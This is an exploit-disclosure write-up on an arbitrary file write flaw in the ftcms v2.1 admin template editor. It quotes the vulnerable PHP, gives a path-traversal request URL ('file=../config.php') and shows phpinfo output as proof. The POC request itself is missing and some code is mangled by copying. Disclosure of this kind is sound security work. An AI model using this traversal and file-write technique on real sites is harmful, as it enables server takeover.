

The Arbitrary File Write Vulnerability of ftcms

Exploit Title: Arbitrary File Write

Date: 2022-04-29

Exploit Author: sunjiaguo

Vendor Homepage: <http://www.ftcms.cn/> <<http://www.ftcms.cn/>>

Software Link: http://www.ftcms.cn/skin/ftcms_v2.1.zip <http://www.ftcms.cn/skin/ftcms_v2.1.zip>

Version: <=v2.1

Tested on: Windows 10

1.Vulnerability analysis

The principle of this code execution vulnerability is caused by modifying the local file by using the background template modification function. Next, analyze how to cause it according to the code. First, locate the template and modify the file code. The file location is admin/controllers/tp.php

```
▼ Plain Text | Copy
1  对应请求链接为
2  http://demo.ftcms.cn/admin/index.php/tp/file_edit/?style=template&tp=default&file=../config.php
```

The corresponding method of database configuration writing is file_edit

```
1      //编辑文件
2      public function file_edit(){
3          $this->load->helper('file');//加载文件辅助函数
4          $data=$this->input->post();
5          if(!empty($data)){//写入文件信息
6              $style = isset($data['info']['style']) && trim($data['info']['style'])
? trim($data['info']['style']) : '';
7              $file = isset($data['info']['file']) && trim($data['info']['file']) ? t
rim($data['info']['file']) : '';
8              $tp=$data['info']['tp'];
9
10             $dir=$file;
11
12             if(write_file($dir, $data['info']['content'])){
13                 $this->message('修改成功! ',site_url($this->router->class.'/file
_lists?style='.$style.'&tp='.$tp));
14             }else{
15
16                 $this->message('修改失败 ! 请检查文件权限'.$dir,site_url($t
his->router->class.'/file_lists?style='.$style.'&tp='.$tp));
17             }
18
19         }else{
20             $style = isset($_GET['style']) && trim($_GET['style']) ? trim($_GET
['style']) : '';
21             $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['fil
e']) : '';
22             $data['tp']=$_GET['tp'];
23
24             $dir=$file;
25             $data['file']=$file;
26             $data['style']=$style;
27             $data['res']=read_file($dir);//获取文件内容
28
29             $this->load->vars('data',$data);
30             $this->load->view($this->router->class.'/file_edit');
31         }
32
33     }
```

```
$this->load->helper('file');//加载文件辅助函数
```

First, the file helper function in the help class will be used

```
$data=$this->input->post();
```

Then use `$this -> Input -> post()` in the input class; Method to obtain all the data from the user's post. The following two branches are performed according to whether the data content is empty. When the post data is not empty, the following branches are executed

```
if(!empty($data)) { //写入文件信息
    $style = isset($data['info']['style']) && trim($data['info']['style']) ? trim($data['info']['style']) : '';
    $file = isset($data['info']['file']) && trim($data['info']['file']) ? trim($data['info']['file']) : '';
    $tp=$data['info']['tp'];

    $dir=$file;

    if(write_file($dir, $data['info']['content'])){
        $this->message( msg: '修改成功!', site_url( uri: $this->router->class.'/file_lists?style='.$style.'&tp='.$tp));
    }else{
        $this->message( msg: '修改失败 ! 请检查文件权限', $dir, site_url( uri: $this->router->class.'/file_lists?style='.$style.'&tp='.$tp));
    }
}
```

```
$style = isset($data['info']['style']) && trim($data['info']['style']) ? trim($data['info']['style']) : '';
$file = isset($data['info']['file']) && trim($data['info']['file']) ? trim($data['info']['file']) : '';
$tp=$data['info']['tp'];
```

First, judge whether the two parameters of style and file are set in the request. If so, use the trim function to remove spaces, otherwise it is empty. Then directly obtain the TP parameter from the request. This parameter has not been filtered and processed, which also paves the way for subsequent vulnerability exploitation

```
$dir=$file;
```

Then assign the contents of the `$file` variable to the `$dir` variable

```
if(write_file($dir, $data['info']['content'])){
    $this->message( msg: '修改成功!', site_url( uri: $this->router->class.'/file_lists?style='.$style.'&tp='.$tp));
}
```

Then call `write_ The file` function writes the content in `$date` to the specified file. The content to be written and the file path to be written are not detected. Therefore, any file can be written, resulting in arbitrary code execution vulnerability

`write_ The file` function is in the help class. Let's follow in and analyze it

```
function write_file($path, $data, $mode = FOPEN_WRITE_CREATE_DESTRUCTIVE)
{
    if ( ! $fp = @fopen($path, $mode))
    {
        return FALSE;
    }

    flock($fp, operation: LOCK_EX);
    fwrite($fp, $data);
    flock($fp, operation: LOCK_UN);
    fclose($fp);

    return TRUE;
}
```

File writing using fopen.

The final POC is as follows



2. Loophole recurrence

2.1 login the website




2.2 write the file

Just send a request using burpsuite

[illegible]

and the request the file in browser

<div> <div>PHP Version 5.6.9</div> <div>  </div> </div>	
System	Windows NT DESKTOP-0UAE7D 6.2 build 9200 (Windows 8 Enterprise Edition) AMD64
Build Date	May 13 2015 19:23:54
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x64
Configure Command	<pre> cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--disable-isapi" "--disable-nsapi" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=c:\php-sdk\oracle\x64\instantclient_12_1\sdk_shared" "--with-oci8-12c=c:\php-sdk\oracle\x64\instantclient_12_1\sdk_shared" "--with-encant=shared" "--enable-object-out-dir=./obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pgo" </pre>